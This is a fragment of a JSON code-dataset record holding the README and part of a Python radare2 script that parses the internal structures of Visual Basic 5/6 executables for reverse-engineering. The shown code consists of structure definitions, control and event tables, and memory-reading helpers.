i*sizeof(CVBPublicObjectDescriptors))\n ParseObjectDescriptor(addr_vb_public_object_descriptors)\n"}],"string":"[\n {\n \"alpha_fraction\": 0.7291666865348816,\n \"alphanum_fraction\": 0.7583333253860474,\n \"avg_line_length\": 25.66666603088379,\n \"blob_id\": \"3374fde8fe30ee9daab47d1cb2af43071f0de628\",\n \"content_id\": \"84ae584770e4f25c068f1b3e389f6268f8d9ca99\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 240,\n \"license_type\": \"no_license\",\n \"max_line_length\": 80,\n \"num_lines\": 9,\n \"path\": \"/README.md\",\n \"repo_name\": \"Trietptm-on-Coding-Algorithms/r2_scripts\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Radare2 scripts\\n\\nVarious radare2 scripts I use (or create). Only works with Python2 since python3\\nr2pipe bindings seem broken now.\\n\\n## vb_analysis.py\\n\\nUsage: invoke it with `#!pipe python2 vb_analysis.py` inside a r2 (or cutter)\\nsession.\\n\"\n },\n {\n \"alpha_fraction\": 0.5395718812942505,\n \"alphanum_fraction\": 0.6040928363800049,\n \"avg_line_length\": 39.38660430908203,\n \"blob_id\": \"e1050ca6b3efd39fe90de380066aa029914ff858\",\n \"content_id\": \"b600b48af53d4c9e2414b0e63d6873fb95d13f54\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 26534,\n \"license_type\": \"no_license\",\n \"max_line_length\": 122,\n \"num_lines\": 657,\n \"path\": \"/vb_analysis.py\",\n \"repo_name\": \"Trietptm-on-Coding-Algorithms/r2_scripts\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"#!/usr/bin/env python\\n# Port of \\\"VB Exe Parser\\\" script to radare2 by aaSSfxxx\\n# Original credits to Vic P. aka vic4key (vic4key[at]gmail.com)\\n# Original script: https://github.com/Kinimiwar/VB-Exe-Parser/\\n\\nimport r2pipe\\nimport ctypes\\nimport sys\\n\\nclass CVBHeader(ctypes.Structure):\\n _fields_ = [\\n (\\\"szVbMagic\\\", ctypes.c_ubyte*4), # 0x0. \\\"VB5!\\\"\\\" String\\n (\\\"wRuntimeBuild\\\", ctypes.c_ushort), # 0x4. Build of the VB6 Runtime\\n (\\\"szLangDll\\\", ctypes.c_ubyte*14), # 0x6. Language Extension DLL\\n (\\\"szSecLangDll\\\", ctypes.c_ubyte*14), # 0x14. 2nd Language Extension DLL\\n (\\\"wRuntimeRevision\\\", ctypes.c_ushort), # 0x22. Internal Runtime Revision\\n (\\\"dwLCID\\\", ctypes.c_uint), # 0x24. LCID of Language DLL\\n (\\\"dwSecLCID\\\", ctypes.c_uint), # 0x28. LCID of 2nd Language DLL\\n (\\\"lpSubMain\\\", ctypes.c_uint), # 0x2C. Pointer to Sub Main Code\\n (\\\"lpProjectData\\\", ctypes.c_uint), # 0x30. Pointer to Project Data\\n (\\\"fMdlIntCtls\\\", ctypes.c_uint), # 0x34. VB Control Flags for IDs < 32\\n (\\\"fMdlIntCtls2\\\", ctypes.c_uint), # 0x38. VB Control Flags for IDs > 32\\n (\\\"dwThreadFlags\\\", ctypes.c_uint), # 0x3C. Threading Mode\\n (\\\"dwThreadCount\\\", ctypes.c_uint), # 0x40. Threads to support in pool\\n (\\\"wFormCount\\\", ctypes.c_ushort), # 0x44. Number of forms present\\n (\\\"wExternalCount\\\", ctypes.c_ushort), # 0x46. Number of external controls\\n (\\\"dwThunkCount\\\", ctypes.c_uint), # 0x48. Number of thunks to create\\n (\\\"lpGuiTable\\\", ctypes.c_uint), # 0x4C. Pointer to GUI Table\\n (\\\"lpExternalTable\\\", ctypes.c_uint), # 0x50. Pointer to External Table\\n (\\\"lpComRegisterData\\\", ctypes.c_uint), # 0x54. Pointer to COM Information\\n (\\\"bSZProjectDescription\\\", ctypes.c_uint), # 0x58. Offset to Project Description\\n (\\\"bSZProjectExeName\\\", ctypes.c_uint), # 0x5C. Offset to Project EXE Name\\n (\\\"bSZProjectHelpFile\\\", ctypes.c_uint), # 0x60. Offset to Project Help File\\n (\\\"bSZProjectName\\\", ctypes.c_uint) # 0x64. Offset to Project Name\\n ]\\n\\nclass CVBProjectInfo(ctypes.Structure):\\n _fields_ = [\\n (\\\"dwVersion\\\", ctypes.c_uint), # 0x0. 5.00 in Hex (0x1F4). Version.\\n (\\\"lpObjectTable\\\", ctypes.c_uint), # 0x4. Pointer to the Object Table\\n (\\\"dwNull\\\", ctypes.c_uint), # 0x8. Unused value after compilation.\\n (\\\"lpCodeStart\\\", ctypes.c_uint), # 0xC. Points to start of code. Unused.\\n (\\\"lpCodeEnd\\\", ctypes.c_uint), # 0x10. Points to end of code. Unused.\\n (\\\"dwDataSize\\\", ctypes.c_uint), # 0x14. Size of VB Object Structures. Unused.\\n (\\\"lpThreadSpace\\\", ctypes.c_uint), # 0x18. Pointer to Thread Object.\\n (\\\"lpVbaSeh\\\", ctypes.c_uint), # 0x1C. Pointer to VBA Exception Handler\\n (\\\"lpNativeCode\\\", ctypes.c_uint), # 0x20. Pointer to .DATA section.\\n (\\\"szPathInformation\\\", ctypes.c_ubyte*528), # 0x24. Contains Path and ID string. < SP6\\n (\\\"lpExternalTable\\\", ctypes.c_uint), # 0x234. Pointer to External Table.\\n (\\\"dwExternalCount\\\", ctypes.c_uint) # 0x238. Objects in the External Table.\\n ]\\n\\nclass CVBProjectInfo2(ctypes.Structure):\\n _fields_ = [\\n (\\\"lpHeapLink\\\", ctypes.c_uint), # 0x0. Unused after compilation, always 0.\\n (\\\"lpObjectTable\\\", ctypes.c_uint), # 0x4. Back-Pointer to the Object Table.\\n (\\\"dwReserved\\\", ctypes.c_uint), # 0x8. Always set to -1 after compiling. Unused\\n (\\\"dwUnused\\\", ctypes.c_uint), # 0xC. Not written or read in any case.\\n (\\\"lpObjectList\\\", ctypes.c_uint), # 0x10. Pointer to Object Descriptor Pointers.\\n (\\\"dwUnused2\\\", ctypes.c_uint), # 0x14. Not written or read in any case.\\n (\\\"szProjectDescription\\\", ctypes.c_uint), # 0x18. Pointer to Project Description\\n (\\\"szProjectHelpFile\\\", ctypes.c_uint), # 0x1C. Pointer to Project Help File\\n (\\\"dwReserved2\\\", ctypes.c_uint), # 0x20. Always set to -1 after compiling. Unused\\n (\\\"dwHelpContextId\\\", ctypes.c_uint) # 0x24. Help Context ID set in Project Settings.\\n ]\\n\\nclass CVBObjectTable(ctypes.Structure):\\n _fields_ = [\\n (\\\"lpHeapLink\\\", ctypes.c_uint), # 0x0. Unused after compilation, always 0.\\n (\\\"lpExecProj\\\", ctypes.c_uint), # 0x4. Pointer to VB Project Exec COM Object.\\n (\\\"lpProjectInfo2\\\", ctypes.c_uint), # 0x8. Secondary Project Information.\\n (\\\"dwReserved\\\", ctypes.c_uint), # 0xC. Always set to -1 after compiling. Unused.\\n (\\\"dwNull\\\", ctypes.c_uint), # 0x10. Not used in compiled mode.\\n (\\\"lpProjectObject\\\", ctypes.c_uint), # 0x14. Pointer to in-memory Project Data.\\n (\\\"uuidObject\\\", ctypes.c_ubyte*16), # 0x18. GUID of the Object Table.\\n (\\\"fCompileState\\\", ctypes.c_ushort), # 0x28. Internal flag used during compilation.\\n (\\\"dwTotalObjects\\\", ctypes.c_ushort), # 0x2A. Total objects present in Project.\\n (\\\"dwCompiledObjects\\\", ctypes.c_ushort), # 0x2C. Equal to above after compiling.\\n (\\\"dwObjectsInUse\\\", ctypes.c_ushort), # 0x2E. Usually equal to above after compile.\\n (\\\"lpObjectArray\\\", ctypes.c_uint), # 0x30. Pointer to Object Descriptors\\n (\\\"fIdeFlag\\\", ctypes.c_uint), # 0x34. Flag/Pointer used in IDE only.\\n (\\\"lpIdeData\\\", ctypes.c_uint), # 0x38. Flag/Pointer used in IDE only.\\n (\\\"lpIdeData2\\\", ctypes.c_uint), # 0x3C. Flag/Pointer used in IDE only.\\n (\\\"lpszProjectName\\\", ctypes.c_uint), # 0x40. Pointer to Project Name.\\n (\\\"dwLcid\\\", ctypes.c_uint), # 0x44. LCID of Project.\\n (\\\"dwLcid2\\\", ctypes.c_uint), # 0x48. Alternate LCID of Project.\\n (\\\"lpIdeData3\\\", ctypes.c_uint), # 0x4C. Flag/Pointer used in IDE only.\\n (\\\"dwIdentifier\\\", ctypes.c_uint) # 0x50. Template Version of Structure.\\n ]\\n\\nclass CVBPublicObjectDescriptors(ctypes.Structure):\\n _fields_ = [\\n (\\\"lpObjectInfo\\\", ctypes.c_uint), # 0x0. Pointer to the Object Info for this Object.\\n (\\\"dwReserved\\\", ctypes.c_uint), # 0x4. Always set to -1 after compiling.\\n (\\\"lpPublicBytes\\\", ctypes.c_uint), # 0x8. Pointer to Public Variable Size integers.\\n (\\\"lpStaticBytes\\\", ctypes.c_uint), # 0xC. Pointer to Static Variable Size integers.\\n (\\\"lpModulePublic\\\", ctypes.c_uint), # 0x10. Pointer to Public Variables in DATA section\\n (\\\"lpModuleStatic\\\", ctypes.c_uint), # 0x14. Pointer to Static Variables in DATA section\\n (\\\"lpszObjectName\\\", ctypes.c_uint), # 0x18. Name of the Object.\\n (\\\"dwMethodCount\\\", ctypes.c_uint), # 0x1C. Number of Methods in Object.\\n (\\\"lpMethodNames\\\", ctypes.c_uint), # 0x20. If present, pointer to Method names array.\\n (\\\"bStaticVars\\\", ctypes.c_uint), # 0x24. Offset to where to copy Static Variables.\\n (\\\"fObjectType\\\", ctypes.c_uint), # 0x28. Flags defining the Object Type.\\n (\\\"dwNull\\\", ctypes.c_uint) # 0x2C. Not valid after compilation\\n ]\\n\\nclass CVBPrivateObjectDescriptors(ctypes.Structure):\\n _fields_ = [\\n (\\\"lpHeapLink\\\", ctypes.c_uint), # 0x0. Unused after compilation, always 0.\\n (\\\"lpObjectInfo\\\", ctypes.c_uint), # 0x4. Pointer to the Object Info for this Object.\\n (\\\"dwReserved\\\", ctypes.c_uint), # 0x8. Always set to -1 after compiling.\\n (\\\"dwIdeData\\\", ctypes.c_uint*3), # 0xC. Not valid after compilation.\\n (\\\"lpObjectList\\\", ctypes.c_uint), # 0x18. Points to the Parent Structure (Array)\\n (\\\"dwIdeData2\\\", ctypes.c_uint), # 0x1C. Not valid after compilation.\\n (\\\"lpObjectList2\\\", ctypes.c_uint*3), # 0x20. Points to the Parent Structure (Array).\\n (\\\"dwIdeData3\\\", ctypes.c_uint*3), # 0x2C. Not valid after compilation.\\n (\\\"dwObjectType\\\", ctypes.c_uint), # 0x38. Type of the Object described.\\n (\\\"dwIdentifier\\\", ctypes.c_uint) # 0x3C. Template Version of Structure.\\n ]\\n\\nclass CVBObjectInfo(ctypes.Structure):\\n _fields_ = [\\n (\\\"wRefCount\\\", ctypes.c_ushort), # 0x0. Always 1 after compilation.\\n (\\\"wObjectIndex\\\", ctypes.c_ushort), # 0x2. Index of this Object.\\n (\\\"lpObjectTable\\\", ctypes.c_uint), # 0x4. Pointer to the Object Table\\n (\\\"lpIdeData\\\", ctypes.c_uint), # 0x8. Zero after compilation. Used in IDE only.\\n (\\\"lpPrivateObject\\\", ctypes.c_uint), # 0xC. Pointer to Private Object Descriptor.\\n (\\\"dwReserved\\\", ctypes.c_uint), # 0x10. Always -1 after compilation.\\n (\\\"dwNull\\\", ctypes.c_uint), # 0x14. Unused.\\n (\\\"lpObject\\\", ctypes.c_uint), # 0x18. Back-Pointer to Public Object Descriptor.\\n (\\\"lpProjectData\\\", ctypes.c_uint), # 0x1C. Pointer to in-memory Project Object.\\n (\\\"wMethodCount\\\", ctypes.c_ushort), # 0x20. Number of Methods\\n (\\\"wMethodCount2\\\", ctypes.c_ushort), # 0x22. Zeroed out after compilation. IDE only.\\n (\\\"lpMethods\\\", ctypes.c_uint), # 0x24. Pointer to Array of Methods.\\n (\\\"wConstants\\\", ctypes.c_ushort), # 0x28. Number of Constants in Constant Pool.\\n (\\\"wMaxConstants\\\", ctypes.c_ushort), # 0x2A. Constants to allocate in Constant Pool.\\n (\\\"lpIdeData2\\\", ctypes.c_uint), # 0x2C. Valid in IDE only.\\n (\\\"lpIdeData3\\\", ctypes.c_uint), # 0x30. Valid in IDE only.\\n (\\\"lpConstants\\\", ctypes.c_uint) # 0x34. Pointer to Constants Pool.\\n ]\\n\\nclass CVBOptionalObjectInfo(ctypes.Structure):\\n _fields_ = [\\n (\\\"dwObjectGuids\\\", ctypes.c_uint), # 0x0. How many GUIDs to Register. 2 = Designer\\n (\\\"lpObjectGuid\\\", ctypes.c_uint), # 0x4. Unique GUID of the Object *VERIFY*\\n (\\\"dwNull\\\", ctypes.c_uint), # 0x8. Unused.\\n (\\\"lpuuidObjectTypes\\\", ctypes.c_uint), # 0xC. Pointer to Array of Object Interface GUIDs\\n (\\\"dwObjectTypeGuids\\\", ctypes.c_uint), # 0x10. How many GUIDs in the Array above.\\n (\\\"lpControls2\\\", ctypes.c_uint), # 0x14. Usually the same as lpControls.\\n (\\\"dwNull2\\\", ctypes.c_uint), # 0x18. Unused.\\n (\\\"lpObjectGuid2\\\", ctypes.c_uint), # 0x1C. Pointer to Array of Object GUIDs.\\n (\\\"dwControlCount\\\", ctypes.c_uint), # 0x20. Number of Controls in array below.\\n (\\\"lpControls\\\", ctypes.c_uint), # 0x24. Pointer to Controls Array.\\n (\\\"wEventCount\\\", ctypes.c_ushort), # 0x28. Number of Events in Event Array.\\n (\\\"wPCodeCount\\\", ctypes.c_ushort), # 0x2A. Number of P-Codes used by this Object.\\n (\\\"bWInitializeEvent\\\", ctypes.c_ushort), # 0x2C. Offset to Initialize Event from Event Table.\\n (\\\"bWTerminateEvent\\\", ctypes.c_ushort), # 0x2E. Offset to Terminate Event Table.\\n (\\\"lpEvents\\\", ctypes.c_uint), # 0x30. Pointer to Events Array.\\n (\\\"lpBasicClassObject\\\", ctypes.c_uint), # 0x34. Pointer to in-memory Class Objects.\\n (\\\"dwNull3\\\", ctypes.c_uint), # 0x38. Unused.\\n (\\\"lpIdeData\\\", ctypes.c_uint) # 0x3C. Only valid in IDE.\\n ]\\n\\nclass CVBControlInfo(ctypes.Structure):\\n _fields_ = [\\n (\\\"wUnused\\\", ctypes.c_ushort), # 0x0. Type of control. # Mine\\n (\\\"fControlType\\\", ctypes.c_ushort), # 0x0. Type of control. # Mine\\n\\n (\\\"wEventcount\\\", ctypes.c_ushort), # 0x4. Number of Event Handlers supported.\\n (\\\"bWEventsOffset\\\", ctypes.c_ushort), # 0x6. Offset in to Memory struct to copy Events.\\n (\\\"lpGuid\\\", ctypes.c_uint), # 0x8. Pointer to GUID of this Control.\\n (\\\"dwIndex\\\", ctypes.c_uint), # 0xC. Index ID of this Control.\\n (\\\"dwNull\\\", ctypes.c_uint), # 0x10. Unused.\\n (\\\"dwNull2\\\", ctypes.c_uint), # 0x14. Unused.\\n (\\\"lpEventTable\\\", ctypes.c_uint), # 0x18. Pointer to Event Handler Table.\\n (\\\"lpIdeData\\\", ctypes.c_uint), # 0x1C. Valid in IDE only.\\n (\\\"lpszName\\\", ctypes.c_uint), # 0x20. Name of this Control.\\n (\\\"dwIndexCopy\\\", ctypes.c_uint) # 0x24. Secondary Index ID of this Control\\n ]\\n\\nclass CVBEventHandlerTable(ctypes.Structure):\\n _fields_ = [\\n (\\\"dwNull\\\", ctypes.c_uint), # 0x0.\\n (\\\"dwUnknown0\\\", ctypes.c_uint), # 0x4.\\n (\\\"dwUnknown1\\\", ctypes.c_uint), # 0x8.\\n (\\\"lpEVENT_SINK_QueryInterface\\\", ctypes.c_uint), # 0xC.\\n (\\\"lpEVENT_SINK_Release\\\", ctypes.c_uint), # 0x10.\\n (\\\"lpRelease\\\", ctypes.c_uint), # 0x14.\\n (\\\"lpEntryPoint\\\", ctypes.c_uint) # 0x18.\\n ]\\n\\nclass CVBGUID(ctypes.Structure):\\n _fields_ = [\\n (\\\"Data1\\\", ctypes.c_uint), # Specifies the first 8 hexadecimal digits of the GUID.\\n (\\\"Data2\\\", ctypes.c_ushort), # Specifies the first group of 4 hexadecimal digits.\\n (\\\"Data3\\\", ctypes.c_ushort), # Specifies the second group of 4 hexadecimal digits.\\n (\\\"Data4\\\", ctypes.c_ubyte*8) # Array of 8 bytes. The first 2 bytes contain the third group of 4 hexadecimal digits.\\n # The remaining 6 bytes contain the final 12 hexadecimal digits.\\n ]\\n\\n\\nMDLInternalControlFlags = [\\n (0x00, 0x00000001, \\\"PictureBox Object\\\"),\\n (0x01, 0x00000002, \\\"Label Object\\\"),\\n (0x02, 0x00000004, \\\"TextBox Object\\\"),\\n (0x03, 0x00000008, \\\"Frame Object\\\"),\\n (0x04, 0x00000010, \\\"CommandButton Object\\\"),\\n (0x05, 0x00000020, \\\"CheckBox Object\\\"),\\n (0x06, 0x00000040, \\\"OptionButton Object\\\"),\\n (0x07, 0x00000080, \\\"ComboBox Object\\\"),\\n (0x08, 0x00000100, \\\"ListBox Object\\\"),\\n (0x09, 0x00000200, \\\"HScrollBar Object\\\"),\\n (0x0A, 0x00000400, \\\"VScrollBar Object\\\"),\\n (0x0B, 0x00000800, \\\"Timer Object\\\"),\\n (0x0C, 0x00001000, \\\"Print Object\\\"),\\n (0x0D, 0x00002000, \\\"Form Object\\\"),\\n (0x0E, 0x00004000, \\\"Screen Object\\\"),\\n (0x0F, 0x00008000, \\\"Clipboard Object\\\"),\\n (0x10, 0x00010000, \\\"Drive Object\\\"),\\n (0x11, 0x00020000, \\\"Dir Object\\\"),\\n (0x12, 0x00040000, \\\"FileListBox Object\\\"),\\n (0x13, 0x00080000, \\\"Menu Object\\\"),\\n (0x14, 0x00100000, \\\"MDIForm Object\\\"),\\n (0x15, 0x00200000, \\\"App Object\\\"),\\n (0x16, 0x00400000, \\\"Shape Object\\\"),\\n (0x17, 0x00800000, \\\"Line Object\\\"),\\n (0x18, 0x01000000, \\\"Image Object\\\"),\\n (0x19, 0x02000000, \\\"Unsupported\\\"),\\n (0x1A, 0x04000000, \\\"Unsupported\\\"),\\n (0x1B, 0x08000000, \\\"Unsupported\\\"),\\n (0x1C, 0x10000000, \\\"Unsupported\\\"),\\n (0x1D, 0x20000000, \\\"Unsupported\\\"),\\n (0x1E, 0x40000000, \\\"Unsupported\\\"),\\n (0x1F, 0x80000000, \\\"Unsupported\\\")\\n]\\n\\nCtrlFlags = [\\n (0x00, 0x0000001A, \\\"PictureBox\\\"),\\n (0x01, 0x00000012, \\\"Label\\\"),\\n (0x02, 0x00000018, \\\"TextBox\\\"),\\n (0x03, 0x0000000D, \\\"Frame\\\"),\\n (0x04, 0x00000011, \\\"CommandButton\\\"),\\n (0x05, 0x00000000, \\\"CheckBox\\\"),\\n (0x06, 0x00000013, \\\"OptionButton\\\"),\\n (0x07, 0x00000000, \\\"ComboBox\\\"),\\n (0x08, 0x00000015, \\\"ListBox\\\"),\\n (0x09, 0x00000000, \\\"HScrollBar\\\"),\\n (0x0A, 0x00000000, \\\"VScrollBar\\\"),\\n (0x0B, 0x00000001, \\\"Timer\\\"),\\n (0x0C, 0x00000000, \\\"Print\\\"),\\n (0x0D, 0x00000000, \\\"Form\\\"),\\n (0x0E, 0x00000000, \\\"Screen\\\"),\\n (0x0F, 0x00000000, \\\"Clipboard\\\"),\\n (0x10, 0x00000000, \\\"Drive\\\"),\\n (0x11, 0x00000014, \\\"Dir\\\"),\\n (0x12, 0x00000000, \\\"FileListBox\\\"),\\n (0x13, 0x00000000, \\\"Menu\\\"),\\n (0x14, 0x00000000, \\\"MDIForm\\\"),\\n (0x15, 0x00000000, \\\"App\\\"),\\n (0x16, 0x00000000, \\\"Shape\\\"),\\n (0x17, 0x00000000, \\\"Line\\\"),\\n (0x18, 0x0000000D, \\\"Image\\\"),\\n (0x19, 0x0000001D, \\\"Grid\\\"),\\n (0x1A, 0x00000016, \\\"StatusBar\\\"),\\n (0x1B, 0x0000000A, \\\"Communication\\\"),\\n (0x1C, 0x00000000, \\\"Unsupported\\\"),\\n (0x1D, 0x00000000, \\\"Unsupported\\\"),\\n (0x1E, 0x00000000, \\\"Unsupported\\\"),\\n (0x1F, 0x00000000, \\\"Unsupported\\\")\\n]\\n\\n'''\\n[ # 2nd Flag Zone 2nd Flag Zone 2nd Flag Zone\\n (0x20, 0x00000001, \\\"Unsupported\\\"),\\n (0x21, 0x00000002, \\\"Unsupported\\\"),\\n (0x22, 0x00000004, \\\"Unsupported\\\"),\\n (0x23, 0x00000008, \\\"Unsupported\\\"),\\n (0x24, 0x00000010, \\\"Unsupported\\\"),\\n (0x25, 0x00000020, \\\"DataQuery Object\\\"),\\n (0x26, 0x00000040, \\\"OLE Object\\\"),\\n (0x27, 0x00000080, \\\"Unsupported\\\"),\\n (0x28, 0x00000100, \\\"UserControl Object\\\"),\\n (0x29, 0x00000200, \\\"PropertyPage Object\\\"),\\n (0x2A, 0x00000400, \\\"Document Object\\\"),\\n (0x2B, 0x00000800, \\\"Unsupported\\\")\\n]\\n'''\\n\\nCtrlButtonEvents = {\\n 0x0: \\\"Click\\\",\\n 0x1: \\\"DragDrop\\\",\\n 0x2: \\\"DragOver\\\",\\n 0x3: \\\"GotFocus\\\",\\n 0x4: \\\"KeyDown\\\",\\n 0x5: \\\"KeyPress\\\",\\n 0x6: \\\"KeyUp\\\",\\n 0x7: \\\"LostFocus\\\",\\n 0x8: \\\"MouseDown\\\",\\n 0x9: \\\"MouseMove\\\",\\n 0xA: \\\"MouseUp\\\",\\n 0xB: \\\"OLEDragOver\\\",\\n 0xC: \\\"OLEDragDrop\\\",\\n 0xD: \\\"OLEGiveFeedback\\\",\\n 0xE: \\\"OLEStartDrag\\\",\\n 0xF: \\\"OLESetData\\\",\\n 0x10: \\\"OLECompleteDrag\\\"\\n}\\n\\nCtrlTextboxEvents = {\\n 0x0: \\\"Change\\\",\\n 0x1: \\\"DragDrop\\\",\\n 0x2: \\\"DragOver\\\",\\n 0x3: \\\"GotFocus\\\",\\n 0x4: \\\"KeyDown\\\",\\n 0x5: \\\"KeyPress\\\",\\n 0x6: \\\"KeyUp\\\",\\n 0x7: \\\"LinkClose\\\",\\n 0x8: \\\"LinkError\\\",\\n 0x9: \\\"LinkOpen\\\",\\n 0xA: \\\"LostFocus\\\",\\n 0xB: \\\"LinkNotify\\\",\\n 0xC: \\\"MouseDown\\\",\\n 0xD: \\\"MouseMove\\\",\\n 0xE: \\\"MouseUp\\\",\\n 0xF: \\\"Click\\\",\\n 0x10: \\\"DblClick\\\",\\n 0x11: \\\"OLEDragOver\\\",\\n 0x12: \\\"OLEDragDrop\\\",\\n 0x13: \\\"OLEGiveFeedback\\\",\\n 0x14: \\\"OLEStartDrag\\\",\\n 0x15: \\\"OLESetData\\\",\\n 0x16: \\\"OLECompleteDrag\\\",\\n 0x17: \\\"Validate\\\"\\n}\\n\\nCtrlFormEvents = {\\n 0x0: \\\"DragDrop\\\",\\n 0x1: \\\"DragOver\\\",\\n 0x2: \\\"LinkClose\\\",\\n 0x3: \\\"LinkError\\\",\\n 0x4: \\\"LinkExecute\\\",\\n 0x5: \\\"LinkOpen\\\",\\n 0x6: \\\"Load\\\",\\n 0x7: \\\"Resize\\\",\\n 0x8: \\\"Unload\\\",\\n 0x9: \\\"QueryUnload\\\",\\n 0xA: \\\"Activate\\\",\\n 0xB: \\\"Deactivate\\\",\\n 0xC: \\\"Click\\\",\\n 0xD: \\\"DblClick\\\",\\n 0xE: \\\"GotFocus\\\",\\n 0xF: \\\"KeyDown\\\",\\n 0x10: \\\"KeyPress\\\",\\n 0x11: \\\"KeyUp\\\",\\n 0x12: \\\"LostFocus\\\",\\n 0x13: \\\"MouseDown\\\",\\n 0x14: \\\"MouseMove\\\",\\n 0x15: \\\"MouseUp\\\",\\n 0x16: \\\"Paint\\\",\\n 0x17: \\\"Initialize\\\",\\n 0x18: \\\"Terminate\\\",\\n 0x19: \\\"OLEDragOver\\\",\\n 0x1A: \\\"OLEDragDrop\\\",\\n 0x1B: \\\"OLEGiveFeedback\\\",\\n 0x1C: \\\"OLEStartDrag\\\",\\n 0x1D: \\\"OLESetData\\\",\\n 0x1E: \\\"OLECompleteDrag\\\"\\n}\\n\\nCtrlFileEvents = {\\n 0x0: \\\"Click\\\",\\n 0x1: \\\"DblClick\\\",\\n 0x2: \\\"DragDrop\\\",\\n 0x3: \\\"DragOver\\\",\\n 0x4: \\\"GotFocus\\\",\\n 0x5: \\\"KeyDown\\\",\\n 0x6: \\\"KeyPress\\\",\\n 0x7: \\\"KeyUp\\\",\\n 0x8: \\\"LostFocus\\\",\\n 0x9: \\\"MouseDown\\\",\\n 0xA: \\\"MouseMove\\\",\\n 0xB: \\\"MouseUp\\\",\\n 0xC: \\\"PathChange\\\",\\n 0xD: \\\"PatternChange\\\",\\n 0xE: \\\"OLEDragOver\\\",\\n 0xF: \\\"OLEDragDrop\\\",\\n 0x10: \\\"OLEGiveFeedback\\\",\\n 0x11: \\\"OLEStartDrag\\\",\\n 0x12: \\\"OLESetData\\\",\\n 0x13: \\\"OLECompleteDrag\\\",\\n 0x14: \\\"Scroll\\\",\\n 0x15: \\\"Validate\\\"\\n}\\n\\nCtrlOptionEvents = {\\n 0x0: \\\"Click\\\",\\n 0x1: \\\"DblClick\\\",\\n 0x2: \\\"DragDrop\\\",\\n 0x3: \\\"DragOver\\\",\\n 0x4: \\\"GotFocus\\\",\\n 0x5: \\\"KeyDown\\\",\\n 0x6: \\\"KeyPress\\\",\\n 0x7: \\\"KeyUp\\\",\\n 0x8: \\\"LostFocus\\\",\\n 0x9: \\\"MouseDown\\\",\\n 0xA: \\\"MouseMove\\\",\\n 0xB: \\\"MouseUp\\\",\\n 0xC: \\\"OLEDragOver\\\",\\n 0xD: \\\"OLEDragDrop\\\",\\n 0xE: \\\"OLEGiveFeedback\\\",\\n 0xF: \\\"OLEStartDrag\\\",\\n 0x10: \\\"OLESetData\\\",\\n 0x11: \\\"OLECompleteDrag\\\",\\n 0x12: \\\"Validate\\\"\\n}\\n\\nCtrlComboEvents = {\\n 0x0: \\\"Change\\\",\\n 0x1: \\\"Click\\\",\\n 0x2: \\\"DblClick\\\",\\n 0x3: \\\"DragDrop\\\",\\n 0x4: \\\"DragOver\\\",\\n 0x5: \\\"DropDown\\\",\\n 0x6: \\\"GotFocus\\\",\\n 0x7: \\\"KeyDown\\\",\\n 0x8: \\\"KeyPress\\\",\\n 0x9: \\\"KeyUp\\\",\\n 0xA: \\\"LostFocus\\\",\\n 0xB: \\\"OLEDragOver\\\",\\n 0xC: \\\"OLEDragDrop\\\",\\n 0xD: \\\"OLEGiveFeedback\\\",\\n 0xE: \\\"OLEStartDrag\\\",\\n 0xF: \\\"OLESetData\\\",\\n 0x10: \\\"OLECompleteDrag\\\",\\n 0x11: \\\"Scroll\\\",\\n 0x12: \\\"Validate\\\"\\n}\\n\\nCtrlLabelEvents = {\\n 0x0: \\\"Change\\\",\\n 0x1: \\\"Click\\\",\\n 0x2: \\\"DblClick\\\",\\n 0x3: \\\"DragDrop\\\",\\n 0x4: \\\"DragOver\\\",\\n 0x5: \\\"LinkClose\\\",\\n 0x6: \\\"LinkError\\\",\\n 0x7: \\\"LinkOpen\\\",\\n 0x8: \\\"MouseDown\\\",\\n 0x9: \\\"MouseMove\\\",\\n 0xA: \\\"MouseUp\\\",\\n 0xB: \\\"LinkNotify\\\",\\n 0xC: \\\"OLEDragOver\\\",\\n 0xD: \\\"OLEDragDrop\\\",\\n 0xE: \\\"OLEGiveFeedback\\\",\\n 0xF: \\\"OLEStartDrag\\\",\\n 0x10: \\\"OLESetData\\\",\\n 0x11: \\\"OLECompleteDrag\\\"\\n}\\n\\nCtrlMenuEvents = {\\n 0x0: \\\"Click\\\"\\n}\\n\\nCtrlTimerEvents = {\\n 0x0: \\\"Timer\\\"\\n}\\n\\nCT_BUTTON = 0x33AD4EF2\\nCT_TEXTBOX = 0x33AD4EE2\\nCT_TIMER = 0x33AD4F2A\\nCT_FORM = 0x33AD4F3A\\nCT_FILE = 0x33AD4F62\\nCT_OPTION = 0x33AD4F02\\nCT_COMBOBOX = 0x33AD4F03\\nCT_COMBOBOX2 = 0x33AD4F0A\\nCT_MENU = 0x33AD4F6A\\nCT_LABEL = 0x33AD4EDA\\n\\nCtrlEvents = {\\n CT_BUTTON: CtrlButtonEvents,\\n CT_TEXTBOX: CtrlTextboxEvents,\\n CT_TIMER: CtrlTimerEvents,\\n CT_FORM: CtrlFormEvents,\\n CT_FILE: CtrlFileEvents,\\n CT_OPTION: CtrlOptionEvents,\\n CT_COMBOBOX: CtrlComboEvents,\\n CT_COMBOBOX2: CtrlComboEvents,\\n CT_MENU: CtrlMenuEvents,\\n CT_LABEL: CtrlLabelEvents\\n}\\n\\n\\nB2S = lambda M: \\\"\\\".join(map(chr, M))\\n\\n\\nHF_LENGTH = 100 # Header & Footer : Fixed Length\\n\\n\\ndef IsAddressValid(addr):\\n obj = r2.cmdj(\\\"iSj\\\")\\n result = False\\n for sec in obj:\\n test = (addr >= sec[\\\"vaddr\\\"])\\n test = test and (addr <= sec[\\\"vaddr\\\"] + sec[\\\"vsize\\\"])\\n result = result or test\\n return result\\n\\n\\ndef Dword(addr):\\n bts = r2.cmdj(\\\"pxj 4 @0x%x\\\" % addr)\\n if sys.version_info[0] == 2:\\n bts = \\\"\\\".join([chr(i) for i in bts])\\n else:\\n bts = bytes(bts)\\n return ctypes.c_uint.from_buffer_copy(bts).value\\n\\n\\ndef ParseStructure(a, t):\\n global r2\\n p = r2.cmdj(\\\"pxj %d @ 0x%x\\\" % (ctypes.sizeof(t), a))\\n if p is None:\\n return None\\n if sys.version_info[0] == 2:\\n p = b\\\"\\\".join([chr(i) for i in p])\\n else:\\n p = bytes(p)\\n return t.from_buffer_copy(p)\\n\\n\\ndef 